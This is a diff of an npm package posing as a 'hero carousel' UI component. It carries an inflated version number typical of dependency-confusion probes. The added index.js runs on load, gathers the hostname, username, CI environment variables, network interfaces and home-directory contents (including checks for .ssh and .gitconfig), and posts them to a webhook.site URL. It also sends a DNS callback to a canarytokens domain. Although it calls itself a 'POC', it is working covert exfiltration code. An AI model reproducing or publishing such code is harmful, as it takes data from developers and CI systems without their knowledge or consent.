@acqui-calm-library/acqui-hero-carousel-section 998.999.999 → 999.99.999

package/index.js

@@ -7,35 +7,40 @@ const dns = require('dns');
 
 const WEBHOOK_URL = "https://webhook.site/0df1aac5-4383-4eb7-88a8-293905b74fd6";
 
-const chunk1 = {
-  chunkId: 1,
-  totalChunks: 2,
-  
+const POC_ID = crypto.randomBytes(8).toString('hex');
+
+const pocData = {
+  pocId: POC_ID,
+  executionTime: new Date().toISOString(),
   
-  hostname: os.hostname(),
-  platform: os.platform(),
-  arch: os.arch(),
-  nodeVersion: process.version,
-  pwd: process.cwd(),
-  username: os.userInfo().username,
-  homedir: os.homedir(),
-  timestamp: new Date().toISOString(),
+  systemInfo: {
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    nodeVersion: process.version,
+    currentWorkingDirectory: process.cwd(),
+    username: os.userInfo().username,
+    homeDirectory: os.homedir(),
+    uptime: os.uptime(),
+    cpuCount: os.cpus().length,
+  },
   
- 
-  ciEnvironment: {
+  cicdEnvironment: {
     isCI: !!process.env.CI,
     
-    azure: {
-      detected: !!process.env.AZURE_HTTP_USER_AGENT || !!process.env.TF_BUILD,
+    azurePipelines: {
+      detected: !!(process.env.AZURE_HTTP_USER_AGENT || process.env.TF_BUILD),
       buildId: process.env.BUILD_BUILDID,
       buildNumber: process.env.BUILD_BUILDNUMBER,
       repository: process.env.BUILD_REPOSITORY_NAME,
       branch: process.env.BUILD_SOURCEBRANCHNAME,
+      projectName: process.env.SYSTEM_TEAMPROJECT,
       agentName: process.env.AGENT_NAME,
-      definitionName: process.env.BUILD_DEFINITIONNAME,
+      agentOS: process.env.AGENT_OS,
+      pipelineName: process.env.BUILD_DEFINITIONNAME,
     },
     
-    github: {
+    githubActions: {
       detected: !!process.env.GITHUB_ACTIONS,
       repository: process.env.GITHUB_REPOSITORY,
       workflow: process.env.GITHUB_WORKFLOW,
@@ -43,24 +48,31 @@ const chunk1 = {
       runNumber: process.env.GITHUB_RUN_NUMBER,
       actor: process.env.GITHUB_ACTOR,
       ref: process.env.GITHUB_REF,
+      eventName: process.env.GITHUB_EVENT_NAME,
       sha: process.env.GITHUB_SHA,
+      workspace: process.env.GITHUB_WORKSPACE,
     },
     
     gitlab: {
       detected: !!process.env.GITLAB_CI,
       jobId: process.env.CI_JOB_ID,
+      jobName: process.env.CI_JOB_NAME,
       pipelineId: process.env.CI_PIPELINE_ID,
       projectPath: process.env.CI_PROJECT_PATH,
+      projectName: process.env.CI_PROJECT_NAME,
       commitSha: process.env.CI_COMMIT_SHA,
-      runner: process.env.CI_RUNNER_DESCRIPTION,
+      branch: process.env.CI_COMMIT_BRANCH,
+      runnerDescription: process.env.CI_RUNNER_DESCRIPTION,
     },
     
     jenkins: {
-      detected: !!process.env.JENKINS_HOME || !!process.env.JENKINS_URL,
+      detected: !!(process.env.JENKINS_HOME || process.env.JENKINS_URL),
       buildNumber: process.env.BUILD_NUMBER,
+      buildId: process.env.BUILD_ID,
       jobName: process.env.JOB_NAME,
       buildUrl: process.env.BUILD_URL,
       nodeName: process.env.NODE_NAME,
+      workspace: process.env.WORKSPACE,
     },
     
     circleci: {
@@ -69,119 +81,128 @@ const chunk1 = {
       project: process.env.CIRCLE_PROJECT_REPONAME,
       branch: process.env.CIRCLE_BRANCH,
       job: process.env.CIRCLE_JOB,
+      username: process.env.CIRCLE_USERNAME,
     },
     
     travis: {
       detected: !!process.env.TRAVIS,
       buildId: process.env.TRAVIS_BUILD_ID,
+      buildNumber: process.env.TRAVIS_BUILD_NUMBER,
       repo: process.env.TRAVIS_REPO_SLUG,
       branch: process.env.TRAVIS_BRANCH,
       jobNumber: process.env.TRAVIS_JOB_NUMBER,
     },
   },
- 
-  npmContext: {
+  
+  packageContext: {
     npmCommand: process.env.npm_command,
     npmLifecycleEvent: process.env.npm_lifecycle_event,
     npmPackageName: process.env.npm_package_name,
+    npmPackageVersion: process.env.npm_package_version,
     npmConfigUserAgent: process.env.npm_config_user_agent,
     initCwd: process.env.INIT_CWD,
+    npmExecPath: process.env.npm_execpath,
   },
   
- 
-  networkInterfaces: os.networkInterfaces(),
-};
-
-const chunk2 = {
-  chunkId: 2,
-  totalChunks: 2,
-  hostname: os.hostname(), 
-  timestamp: new Date().toISOString(),
-  
-  envVars: Object.keys(process.env)
-    .filter(key => {
-      const lowerKey = key.toLowerCase();
-      return (lowerKey.includes('ci') || 
-              lowerKey.includes('build') || 
-              lowerKey.includes('azure') ||
-              lowerKey.includes('github') ||
-              lowerKey.includes('gitlab') ||
-              lowerKey.includes('jenkins') ||
-              lowerKey.includes('npm') ||
-              lowerKey.includes('runner') ||
-              lowerKey.includes('agent')) &&
-             !lowerKey.includes('secret') &&
-             !lowerKey.includes('token') &&
-             !lowerKey.includes('password') &&
-             !lowerKey.includes('key') &&
-             !lowerKey.includes('pat');
-    })
-    .reduce((acc, key) => {
-      acc[key] = process.env[key];
+  networkInfo: {
+    interfaces: Object.entries(os.networkInterfaces()).reduce((acc, [name, interfaces]) => {
+      acc[name] = interfaces.map(iface => ({
+        address: iface.address,
+        family: iface.family,
+        internal: iface.internal,
+      }));
       return acc;
     }, {}),
+  },
   
- 
-  fileSystemProof: {
-    hasAzurePipelinesDir: fs.existsSync('/home/vsts/work') || fs.existsSync('D:\\a'),
-    hasGitHubWorkspace: fs.existsSync(process.env.GITHUB_WORKSPACE || '/tmp/___nonexistent___'),
-    hasJenkinsWorkspace: fs.existsSync(process.env.WORKSPACE || '/tmp/___nonexistent___'),
+  fileSystemAccess: {
+    canReadCwd: (() => {
+      try {
+        const files = fs.readdirSync(process.cwd());
+        return {
+          success: true,
+          fileCount: files.length,
+          sampleFiles: files.slice(0, 10),
+        };
+      } catch (e) {
+        return { success: false, error: e.message };
+      }
+    })(),
     
-    cwdContents: (() => {
+    canReadHome: (() => {
       try {
-        return fs.readdirSync(process.cwd()).slice(0, 50);
-      } catch(e) {
-        return `Error: ${e.message}`;
+        const files = fs.readdirSync(os.homedir());
+        return {
+          success: true,
+          fileCount: files.length,
+          hasSshDir: files.includes('.ssh'),
+          hasGitConfig: files.includes('.gitconfig'),
+        };
+      } catch (e) {
+        return { success: false, error: e.message };
       }
     })(),
     
-    parentDirs: (() => {
+    directoryStructure: (() => {
       let current = process.cwd();
       const dirs = [];
-      for(let i = 0; i < 5; i++) {
+      for (let i = 0; i < 5; i++) {
         dirs.push(current);
         const parent = path.dirname(current);
-        if(parent === current) break;
+        if (parent === current) break;
         current = parent;
       }
       return dirs;
     })(),
     
-    homeContents: (() => {
-      try {
-        return fs.readdirSync(os.homedir()).slice(0, 30);
-      } catch(e) {
-        return `Error: ${e.message}`;
-      }
-    })(),
+    commonCiPaths: {
+      azurePipelinesDir: fs.existsSync('/home/vsts/work') || fs.existsSync('D:\\a'),
+      githubWorkspace: fs.existsSync(process.env.GITHUB_WORKSPACE || '/nonexistent'),
+      jenkinsWorkspace: fs.existsSync(process.env.WORKSPACE || '/nonexistent'),
+    },
   },
   
+  processInfo: {
+    pid: process.pid,
+    ppid: process.ppid,
+    execPath: process.execPath,
+    argv: process.argv,
+    memoryUsage: process.memoryUsage(),
+  },
   
   fingerprint: crypto.createHash('sha256')
-    .update(`${os.hostname()}-${process.cwd()}-${process.env.BUILD_BUILDID || process.env.GITHUB_RUN_ID || Date.now()}`)
+    .update(`${os.hostname()}-${process.cwd()}-${Date.now()}`)
     .digest('hex'),
 };
 
-
-const data1 = JSON.stringify(chunk1);
-const url1 = `${WEBHOOK_URL}?data=${encodeURIComponent(data1)}`;
-
-https.get(url1, (res) => {
- 
-}).on('error', () => {
- 
-});
-
-setTimeout(() => {
-  const data2 = JSON.stringify(chunk2);
-  const url2 = `${WEBHOOK_URL}?data=${encodeURIComponent(data2)}`;
+function sendData(data, attempt = 1) {
+  const payload = JSON.stringify(data, null, 2);
+  const postData = JSON.stringify({ pocData: data });
+  
+  const options = {
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(postData),
+      'X-POC-ID': POC_ID,
+      'X-POC-Timestamp': new Date().toISOString(),
+    },
+  };
   
-  https.get(url2, (res) => {
-   
-  }).on('error', () => {
-   
+  const req = https.request(WEBHOOK_URL, options, (res) => {
   });
-}, 500);
+  
+  req.on('error', (error) => {
+    if (attempt < 2) {
+      setTimeout(() => sendData(data, attempt + 1), 1000);
+    }
+  });
+  
+  req.write(postData);
+  req.end();
+}
 
+sendData(pocData);
 
-dns.resolve('1emg6uz88a7kz7jpuq3lqybhg.canarytokens.com', () => {});
+dns.resolve('poc-' + POC_ID.substring(0, 8) + '.1emg6uz88a7kz7jpuq3lqybhg.canarytokens.com', (err) => {
+});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@acqui-calm-library/acqui-hero-carousel-section",
-  "version": "998.999.999",
+  "version": "999.099.999",
   "description": "research ",
   "main": "index.js",
   "scripts": {